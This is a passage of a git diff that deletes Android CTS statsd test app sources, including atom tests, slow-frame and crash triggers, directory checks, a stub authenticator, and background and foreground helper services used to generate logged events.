-            exerciseRemoteHost(cm, network, new URL(HTTPS_HOST_URL));
-            Log.i(TAG, "exerciseRemoteHost successful in " + (SystemClock.elapsedRealtime()
-                    - startTime) + " ms");
-        } catch (Exception e) {
-            Log.e(TAG, "exerciseRemoteHost failed in " + (SystemClock.elapsedRealtime()
-                    - startTime) + " ms: " + e);
-        } finally {
-            cm.unregisterNetworkCallback(callback);
-        }
-    }
-
-    /**
-     * Generate traffic on specified network.
-     */
-    private void exerciseRemoteHost(@NonNull ConnectivityManager cm, @NonNull Network network,
-            @NonNull URL url) throws Exception {
-        cm.bindProcessToNetwork(network);
-        HttpURLConnection urlc = null;
-        try {
-            urlc = (HttpURLConnection) network.openConnection(url);
-            urlc.setConnectTimeout(NETWORK_TIMEOUT_MILLIS);
-            urlc.setUseCaches(false);
-            urlc.connect();
-        } finally {
-            if (urlc != null) {
-                urlc.disconnect();
-            }
-        }
-    }
-
-    @Test
-    public void testIsolatedProcessService() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        int uid = context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).uid;
-
-        // Start the isolated service, which logs an AppBreadcrumbReported atom, and then exit
-        // shortly afterwards.
-        Intent intent = new Intent(context, IsolatedProcessService.class);
-        context.startService(intent);
-        sleep(500);
-        context.stopService(intent);
-    }
-
-
-    // Constants for testBlobStore
-    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
-    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
-    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
-    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
-    private static final byte[] FAKE_PKG_CERT_SHA256 = BaseEncoding.base16().decode(
-            "187E3D3172F2177D6FEC2EA53785BF1E25DFF7B2E5F6E59807E365A7A837E6C3");
-
-    @Test
-    public void testBlobStore() throws Exception {
-        Context context = InstrumentationRegistry.getContext();
-        int uid = context.getPackageManager().getApplicationInfo(context.getPackageName(), 0).uid;
-
-        BlobStoreManager bsm = context.getSystemService(BlobStoreManager.class);
-        final long leaseExpiryMs = System.currentTimeMillis() + BLOB_LEASE_EXPIRY_DURATION_MS;
-
-        final DummyBlobData blobData = new DummyBlobData.Builder(context).setExpiryDurationMs(
-                BLOB_EXPIRY_DURATION_MS).setFileSize(BLOB_FILE_SIZE_BYTES).build();
-
-        blobData.prepare();
-        try {
-            // Commit the Blob, should result in BLOB_COMMITTED atom event
-            commitBlob(context, bsm, blobData);
-
-            // Lease the Blob, should result in BLOB_LEASED atom event
-            bsm.acquireLease(blobData.getBlobHandle(), "", leaseExpiryMs);
-
-            // Open the Blob, should result in BLOB_OPENED atom event
-            bsm.openBlob(blobData.getBlobHandle());
-
-        } finally {
-            blobData.delete();
-        }
-    }
-
-    // ------- Helper methods
-
-    /** Puts the current thread to sleep. */
-    static void sleep(int millis) {
-        try {
-            Thread.sleep(millis);
-        } catch (InterruptedException e) {
-            Log.e(TAG, "Interrupted exception while sleeping", e);
-        }
-    }
-
-    /** Register receiver to determine when given action is complete. */
-    private static BroadcastReceiver registerReceiver(
-            Context ctx, CountDownLatch onReceiveLatch, IntentFilter intentFilter) {
-        BroadcastReceiver receiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                Log.d(TAG, "Received broadcast.");
-                onReceiveLatch.countDown();
-            }
-        };
-        // Run Broadcast receiver in a different thread since the main thread will wait.
-        HandlerThread handlerThread = new HandlerThread("br_handler_thread");
-        handlerThread.start();
-        Looper looper = handlerThread.getLooper();
-        Handler handler = new Handler(looper);
-        ctx.registerReceiver(receiver, intentFilter, null, handler);
-        return receiver;
-    }
-
-    /**
-     * Uses the receiver to wait until the action is complete. ctx and receiver may be null if no
-     * receiver is needed to be unregistered.
-     */
-    private static void waitForReceiver(Context ctx,
-            int maxWaitTimeMs, CountDownLatch latch, BroadcastReceiver receiver) {
-        try {
-            boolean didFinish = latch.await(maxWaitTimeMs, TimeUnit.MILLISECONDS);
-            if (didFinish) {
-                Log.v(TAG, "Finished performing action");
-            } else {
-                // This is not necessarily a problem. If we just want to make sure a count was
-                // recorded for the request, it doesn't matter if the action actually finished.
-                Log.w(TAG, "Did not finish in specified time.");
-            }
-        } catch (InterruptedException e) {
-            Log.e(TAG, "Interrupted exception while awaiting action to finish", e);
-        }
-        if (ctx != null && receiver != null) {
-            ctx.unregisterReceiver(receiver);
-        }
-    }
-
-    private static void setScreenBrightness(int brightness) {
-        runShellCommand("settings put system screen_brightness " + brightness);
-    }
-
-
-    private void commitBlob(Context context, BlobStoreManager bsm, DummyBlobData blobData)
-            throws Exception {;
-        final long sessionId = bsm.createSession(blobData.getBlobHandle());
-        try (BlobStoreManager.Session session = bsm.openSession(sessionId)) {
-            blobData.writeToSession(session);
-            session.allowPackageAccess("fake.package.name", FAKE_PKG_CERT_SHA256);
-
-            final CompletableFuture<Integer> callback = new CompletableFuture<>();
-            session.commit(context.getMainExecutor(), callback::complete);
-            assertWithMessage("Session failed to commit within timeout").that(
-                    callback.get(BLOB_COMMIT_CALLBACK_TIMEOUT_SEC, TimeUnit.SECONDS)).isEqualTo(0);
-        }
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
deleted file mode 100644
index 3728cef..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.net.wifi.WifiManager;
-import android.os.Vibrator;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Test;
-
-/**
- * Methods to check device properties. They pass iff the check returns true.
- */
-public class Checkers {
-    private static final String TAG = Checkers.class.getSimpleName();
-
-    @Test
-    public void checkVibratorSupported() {
-        Vibrator v = InstrumentationRegistry.getContext().getSystemService(Vibrator.class);
-        assertThat(v.hasVibrator()).isTrue();
-    }
-
-    @Test
-    public void checkWifiEnhancedPowerReportingSupported() {
-        WifiManager wm = InstrumentationRegistry.getContext().getSystemService(WifiManager.class);
-        assertThat(wm.isEnhancedPowerReportingSupported()).isTrue();
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java
deleted file mode 100644
index e2ec7f7..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyActivity.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.widget.VideoView;
-import android.util.Log;
-
-
-public class DaveyActivity extends Activity {
-    private static final String TAG = "statsdDaveyActivity";
-
-    /** Called when the activity is first created. */
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.activity_davey);
-        DaveyView view = (DaveyView)findViewById(R.id.davey_view);
-        view.causeDavey(true);
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java
deleted file mode 100644
index bf1cd35..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DaveyView.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.view.View;
-import android.content.Context;
-import android.content.res.TypedArray;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Paint;
-import android.graphics.Paint.FontMetrics;
-import android.os.SystemClock;
-import android.util.AttributeSet;
-import android.util.Log;
-
-
-public class DaveyView extends View {
-
-    private static final String TAG = "statsdDaveyView";
-
-    private static final long DAVEY_TIME_MS = 750; // A bit more than 700ms to be safe.
-    private boolean mCauseDavey;
-    private Paint mPaint;
-    private int mTexty;
-
-    public DaveyView(Context context, AttributeSet attrs) {
-        super(context, attrs);
-        TypedArray a = context.getTheme().obtainStyledAttributes(
-                attrs,
-                R.styleable.DaveyView,
-                0, 0);
-
-        try {
-            mCauseDavey = a.getBoolean(R.styleable.DaveyView_causeDavey, false);
-        } finally {
-            a.recycle();
-        }
-
-        mPaint = new Paint();
-        mPaint.setColor(Color.BLACK);
-        mPaint.setTextSize(20);
-        FontMetrics metric = mPaint.getFontMetrics();
-        int textHeight = (int) Math.ceil(metric.descent - metric.ascent);
-        mTexty = textHeight - (int) metric.descent;
-    }
-
-    public void causeDavey(boolean cause) {
-        mCauseDavey = cause;
-        invalidate();
-    }
-
-    @Override
-    protected void onDraw(Canvas canvas) {
-        super.onDraw(canvas);
-        if (mCauseDavey) {
-            canvas.drawText("Davey!", 0, mTexty, mPaint);
-            SystemClock.sleep(DAVEY_TIME_MS);
-            mCauseDavey = false;
-        } else {
-            canvas.drawText("No Davey", 0, mTexty, mPaint);
-        }
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java
deleted file mode 100644
index fd849c9..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/DirectoryTests.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import org.junit.Test;
-
-import java.io.File;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-public class DirectoryTests {
-
-    @Test
-    public void testStatsActiveMetricDirectoryExists() {
-        final File f = new File("/data/misc/stats-active-metric/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-
-    @Test
-    public void testStatsDataDirectoryExists() {
-        final File f = new File("/data/misc/stats-data/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-
-    @Test
-    public void testStatsMetadataDirectoryExists() {
-        final File f = new File("/data/misc/stats-metadata/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-
-    @Test
-    public void testStatsServiceDirectoryExists() {
-        final File f = new File("/data/misc/stats-service/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-
-    @Test
-    public void testTrainInfoDirectoryExists() {
-        final File f = new File("/data/misc/train-info/");
-        assertTrue(f.exists());
-        assertFalse(f.isFile());
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/HiddenApiUsedActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/HiddenApiUsedActivity.java
deleted file mode 100644
index 2132f3c..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/HiddenApiUsedActivity.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-import java.lang.reflect.Field;
-
-
-public class HiddenApiUsedActivity extends Activity {
-    /** Called when the activity is first created. */
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        try {
-            Field field = Activity.class.getDeclaredField("mWindow");
-            field.setAccessible(true);
-            Object object = field.get(this);
-        } catch(NoSuchFieldException e) {
-        } catch(IllegalAccessException e) {
-        }
-        finish();
-    }
-
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/IsolatedProcessService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/IsolatedProcessService.java
deleted file mode 100644
index 086a3be..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/IsolatedProcessService.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Service;
-import android.content.Intent;
-import android.os.IBinder;
-import android.util.StatsLog;
-
-public class IsolatedProcessService extends Service {
-    private static final String TAG = "IsolatedProcessService";
-
-    @Override
-    public int onStartCommand(Intent intent, int flags, int startId) {
-        StatsLog.logStart(/*label=*/0);
-        return START_NOT_STICKY;
-    }
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        return null;
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java
deleted file mode 100644
index 85acd07..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdAuthenticator.java
+++ /dev/null
@@ -1,135 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *          http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts.device.statsd;
-
-import android.accounts.AbstractAccountAuthenticator;
-import android.accounts.Account;
-import android.accounts.AccountAuthenticatorResponse;
-import android.accounts.AccountManager;
-import android.accounts.NetworkErrorException;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.IBinder;
-import android.util.Log;
-
-import java.util.Arrays;
-
-/**
- * Authenticator for the sync test.
- */
-public class StatsdAuthenticator extends Service {
-    private static final String TAG = "AtomTestsAuthenticator";
-
-    private static final String ACCOUNT_NAME = "StatsdCts";
-    private static final String ACCOUNT_TYPE = "com.android.cts.statsd";
-    private static Authenticator sInstance;
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        if (sInstance == null) {
-            sInstance = new Authenticator(getApplicationContext());
-
-        }
-        return sInstance.getIBinder();
-    }
-
-    public static Account getTestAccount() {
-        return new Account(ACCOUNT_NAME, ACCOUNT_TYPE);
-    }
-
-    /**
-     * Adds the test account, if it doesn't exist yet.
-     */
-    public static void ensureTestAccount(Context context) {
-        final Account account = getTestAccount();
-
-        Bundle result = new Bundle();
-        result.putString(AccountManager.KEY_ACCOUNT_TYPE, account.type);
-        result.putString(AccountManager.KEY_ACCOUNT_NAME, account.name);
-
-        final AccountManager am = context.getSystemService(AccountManager.class);
-
-        if (!Arrays.asList(am.getAccountsByType(account.type)).contains(account) ){
-            am.addAccountExplicitly(account, "password", new Bundle());
-        }
-    }
-
-    /**
-     * Remove the test account.
-     */
-    public static void removeAllAccounts(Context context) {
-        final AccountManager am = context.getSystemService(AccountManager.class);
-
-        for (Account account : am.getAccountsByType(ACCOUNT_TYPE)) {
-            Log.i(TAG, "Removing " + account + "...");
-            am.removeAccountExplicitly(account);
-            Log.i(TAG, "Removed");
-        }
-    }
-
-    public static class Authenticator extends AbstractAccountAuthenticator {
-
-        private final Context mContxet;
-
-        public Authenticator(Context context) {
-            super(context);
-            mContxet = context;
-        }
-
-        @Override
-        public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
-                String authTokenType, String[] requiredFeatures, Bundle options)
-                throws NetworkErrorException {
-            return new Bundle();
-        }
-
-        @Override
-        public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
-            return new Bundle();
-        }
-
-        @Override
-        public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
-                String authTokenType, Bundle options) throws NetworkErrorException {
-            return new Bundle();
-        }
-
-        @Override
-        public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
-                Bundle options) throws NetworkErrorException {
-            return new Bundle();
-        }
-
-        @Override
-        public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
-                String authTokenType, Bundle options) throws NetworkErrorException {
-            return new Bundle();
-        }
-
-        @Override
-        public String getAuthTokenLabel(String authTokenType) {
-            return "token_label";
-        }
-
-        @Override
-        public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
-                String[] features) throws NetworkErrorException {
-            return new Bundle();
-        }
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java
deleted file mode 100644
index ad018f9..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsBackgroundService.java
+++ /dev/null
@@ -1,67 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import com.android.server.cts.device.statsd.AtomTests;
-
-import android.app.IntentService;
-import android.content.Intent;
-import android.util.Log;
-
-/** An service (to be run as a background process) which performs one of a number of actions. */
-public class StatsdCtsBackgroundService extends IntentService {
-    private static final String TAG = StatsdCtsBackgroundService.class.getSimpleName();
-
-    public static final String KEY_ACTION = "action";
-    public static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
-    public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
-    public static final String ACTION_LMK = "action.lmk";
-
-    public static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
-
-    static {
-        System.loadLibrary("lmkhelper");
-    }
-
-    public StatsdCtsBackgroundService() {
-        super(StatsdCtsBackgroundService.class.getName());
-    }
-
-    @Override
-    public void onHandleIntent(Intent intent) {
-        String action = intent.getStringExtra(KEY_ACTION);
-        Log.i(TAG, "Starting " + action + " from background service.");
-
-        switch (action) {
-            case ACTION_BACKGROUND_SLEEP:
-                AtomTests.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP);
-                break;
-            case ACTION_END_IMMEDIATELY:
-                break;
-            case ACTION_LMK:
-                new Thread(this::cmain).start();
-                break;
-            default:
-                Log.e(TAG, "Intent had invalid action");
-        }
-    }
-
-    /**
-     *  Keep allocating memory until the process is killed by LMKD.
-     **/
-    public native void cmain();
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
deleted file mode 100644
index c8c02fc..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
+++ /dev/null
@@ -1,201 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationChannelGroup;
-import android.app.NotificationManager;
-import android.app.usage.NetworkStatsManager;
-import android.content.Context;
-import android.content.Intent;
-import android.graphics.Color;
-import android.graphics.Point;
-import android.net.ConnectivityManager;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.RemoteException;
-import android.util.Log;
-import android.view.Gravity;
-import android.view.View;
-import android.view.ViewGroup;
-import android.view.WindowManager;
-
-/** An activity (to be run as a foreground process) which performs one of a number of actions. */
-public class StatsdCtsForegroundActivity extends Activity {
-    private static final String TAG = StatsdCtsForegroundActivity.class.getSimpleName();
-
-    public static final String KEY_ACTION = "action";
-    public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
-    public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
-    public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
-    public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
-    public static final String ACTION_SHOW_NOTIFICATION = "action.show_notification";
-    public static final String ACTION_CRASH = "action.crash";
-    public static final String ACTION_CREATE_CHANNEL_GROUP = "action.create_channel_group";
-    public static final String ACTION_POLL_NETWORK_STATS = "action.poll_network_stats";
-
-    public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
-    public static final int SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY = 2_000;
-    public static final int LONG_SLEEP_WHILE_TOP = 60_000;
-
-    @Override
-    public void onCreate(Bundle bundle) {
-        super.onCreate(bundle);
-
-        Intent intent = this.getIntent();
-        if (intent == null) {
-            Log.e(TAG, "Intent was null.");
-            finish();
-        }
-
-        String action = intent.getStringExtra(KEY_ACTION);
-        Log.i(TAG, "Starting " + action + " from foreground activity.");
-
-        switch (action) {
-            case ACTION_END_IMMEDIATELY:
-                finish();
-                break;
-            case ACTION_SLEEP_WHILE_TOP:
-                doSleepWhileTop(SLEEP_OF_ACTION_SLEEP_WHILE_TOP);
-                break;
-            case ACTION_LONG_SLEEP_WHILE_TOP:
-                doSleepWhileTop(LONG_SLEEP_WHILE_TOP);
-                break;
-            case ACTION_SHOW_APPLICATION_OVERLAY:
-                doShowApplicationOverlay();
-                break;
-            case ACTION_SHOW_NOTIFICATION:
-                doShowNotification();
-                break;
-            case ACTION_CRASH:
-                doCrash();
-                break;
-            case ACTION_CREATE_CHANNEL_GROUP:
-                doCreateChannelGroup();
-                break;
-            case ACTION_POLL_NETWORK_STATS:
-                doPollNetworkStats();
-                break;
-            default:
-                Log.e(TAG, "Intent had invalid action " + action);
-                finish();
-        }
-    }
-
-    /** Does nothing, but asynchronously. */
-    private void doSleepWhileTop(int sleepTime) {
-        new AsyncTask<Void, Void, Void>() {
-            @Override
-            protected Void doInBackground(Void... params) {
-                AtomTests.sleep(sleepTime);
-                return null;
-            }
-
-            @Override
-            protected void onPostExecute(Void nothing) {
-                finish();
-            }
-        }.execute();
-    }
-
-    private void doShowApplicationOverlay() {
-        // Adapted from BatteryStatsBgVsFgActions.java.
-        final WindowManager wm = getSystemService(WindowManager.class);
-        Point size = new Point();
-        wm.getDefaultDisplay().getSize(size);
-
-        WindowManager.LayoutParams wmlp = new WindowManager.LayoutParams(
-                WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
-                WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
-                        | WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
-                        | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
-        wmlp.width = size.x / 4;
-        wmlp.height = size.y / 4;
-        wmlp.gravity = Gravity.CENTER | Gravity.LEFT;
-        wmlp.setTitle(getPackageName());
-
-        ViewGroup.LayoutParams vglp = new ViewGroup.LayoutParams(
-                ViewGroup.LayoutParams.MATCH_PARENT,
-                ViewGroup.LayoutParams.MATCH_PARENT);
-
-        View v = new View(this);
-        v.setBackgroundColor(Color.GREEN);
-        v.setLayoutParams(vglp);
-        wm.addView(v, wmlp);
-
-        // The overlay continues long after the finish. The following is just to end the activity.
-        AtomTests.sleep(SLEEP_OF_ACTION_SHOW_APPLICATION_OVERLAY);
-        finish();
-    }
-
-    private void doShowNotification() {
-        final int notificationId = R.layout.activity_main;
-        final String notificationChannelId = "StatsdCtsChannel";
-
-        NotificationManager nm = getSystemService(NotificationManager.class);
-        NotificationChannel channel = new NotificationChannel(notificationChannelId, "Statsd Cts",
-                NotificationManager.IMPORTANCE_DEFAULT);
-        channel.setDescription("Statsd Cts Channel");
-        nm.createNotificationChannel(channel);
-
-        nm.notify(
-                notificationId,
-                new Notification.Builder(this, notificationChannelId)
-                        .setSmallIcon(android.R.drawable.stat_notify_chat)
-                        .setContentTitle("StatsdCts")
-                        .setContentText("StatsdCts")
-                        .build());
-        nm.cancel(notificationId);
-        finish();
-    }
-
-    private void doCreateChannelGroup() {
-        NotificationManager nm = getSystemService(NotificationManager.class);
-        NotificationChannelGroup channelGroup = new NotificationChannelGroup("StatsdCtsGroup",
-                "Statsd Cts Group");
-        channelGroup.setDescription("StatsdCtsGroup Description");
-        nm.createNotificationChannelGroup(channelGroup);
-        finish();
-    }
-
-    // Trigger force poll on NetworkStatsService to make sure the service get most updated network
-    // stats from lower layer on subsequent verifications.
-    private void doPollNetworkStats() {
-        final NetworkStatsManager nsm =
-                (NetworkStatsManager) getSystemService(Context.NETWORK_STATS_SERVICE);
-
-        // While the flag of force polling is the only important thing needed when making binder
-        // call to service, the type, parameters and returned result of the query here do not
-        // matter.
-        try {
-            nsm.setPollForce(true);
-            nsm.querySummaryForUser(ConnectivityManager.TYPE_WIFI, null, Long.MIN_VALUE,
-                    Long.MAX_VALUE);
-        } catch (RemoteException e) {
-            Log.e(TAG, "doPollNetworkStats failed with " + e);
-        } finally {
-            finish();
-        }
-    }
-
-    @SuppressWarnings("ConstantOverflow")
-    private void doCrash() {
-        Log.e(TAG, "About to crash the app with 1/0 " + (long) 1 / 0);
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java
deleted file mode 100644
index ab46f5f..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundService.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Build;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Message;
-import android.os.Process;
-import android.util.Log;
-
